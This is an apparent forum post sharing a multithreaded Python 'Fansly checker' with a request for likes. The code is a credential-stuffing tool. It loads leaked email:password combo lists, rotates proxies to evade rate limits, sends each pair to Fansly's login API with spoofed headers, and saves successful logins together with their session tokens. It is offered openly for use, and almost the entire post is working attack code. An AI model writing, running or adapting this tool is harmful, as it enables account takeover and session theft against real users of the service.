softneko13
Active memberJust made a simple python based multi threaded Fansly checker.
Hidden Content
Code:
Don't forget to leave a Like :3
Hidden Content
Code:
Code:
import hashlib
import requests
import threading
import urllib.parse
import base64
import time
from random import randint, choice
import warnings
warnings.filterwarnings("ignore")
accsfile = "combo.txt"
proxiesfile = "proxies.txt"
hitsfile = "hits.txt"
proxies = []
accounts = []
currentProxy:int = 0
currentAccount:int = 0
hits: int = 0
failed: int = 0
rateLimited: int = 0
loaded: int = 0
def current_milli_time():
return round(time.time() * 1000)
def fake_sign(length=13):
return ''.join(choice('0123456789abcdef') for _ in range(length))
def loginFansly(email, password, proxy = None, useProxy: bool = False):
devID = str(randint(10**17, 10**18 - 1))
headers = {
"Host": "apiv3.fansly.com", # must match the domain you call
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "de,en-US;q=0.7,en;q=0.3",
"Content-Type": "application/json",
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "no-cors",
"Sec-Fetch-Site": "same-site",
"fly-client-id": "814896683170156544",
"fly-client-ts": "1755781074534",
"fly-client-check": "351bab7b988ad",
"Pragma": "no-cache",
"Cache-Control": "no-cache",
"Priority": "u=4"
}
cookies = {
"f-v-v": "0.45.93",
"f-v-d": "123123123123",
"fly-ts-info": '{"tso":-7034,"sts":1755781033923,"cts":123123123123}',
"f-d": "123123123123123123",
"fansly-d": "123123123123123123",
}
data = {
"username": email,
"password": password,
"deviceId": devID
}
if useProxy:
r = requests.post(url="https://apiv3.fansly.com/api/v1/login?ngsw-bypass=true", headers=headers, json=data, proxies=proxy)
else:
r = requests.post(url="https://apiv3.fansly.com/api/v1/login?ngsw-bypass=true", headers=headers, json=data)
if r.status_code == 200:
hits + 1
for c in r.cookies:
if c.name == "f-s-c":
token = c.value
print(f"Logged in successfully: {email}, with token {token}")
with open(hitsfile, 'a') as file:
file.write(f"{email}:{password}|Token: {token}\n")
return None
elif r.status_code == 429:
print(f"Rate limited for {email} with password {password}. Status code: {r.status_code}")
rateLimited + 1
return None
else:
print(f"Login failed for {email} with password {password}. Status code: {r.text}")
failed + 1
return None
try:
with open(accsfile) as file:
lines = [line.rstrip() for line in file]
except FileNotFoundError:
print(f"Error: The file {accsfile} does not exist.")
exit(5)
for line in lines:
loaded + 1
email, password = line.split(":", 1)
email = email.strip()
password = password.strip()
if email and password:
accounts.append((email, password))
# Ask user if they want to use Proxy and if so what type the proxies are
useProxy = input("Do you want to use a proxy? (y/n): ").strip().lower() == "y"
proxyType = None
if useProxy:
proxyType = input("What type of proxies are you using? (http/socks5): ").strip().lower()
with open(proxiesfile) as file:
lines = [line.rstrip() for line in file]
for line in lines:
proxy = line.strip()
if proxy:
proxies.append(f'{proxyType}://{proxy}')
def worker():
global hits, failed, rateLimited
while True:
if not accounts:
break
email, password = accounts.pop(0)
if useProxy:
if currentProxy == len(proxies):
currentProxy = 0
if currentProxy < len(proxies):
proxy = proxies[currentProxy]
loginFansly(email, password, proxy, useProxy=True)
else:
loginFansly(email, password, useProxy=False)
#ask user how many threads thy wanna use and start that ammount
num_threads = input("How many threads do you want to use?: ").strip()
for i in range(int(num_threads)):
t = threading.Thread(target=worker)
t.start()
Don't forget to leave a Like :3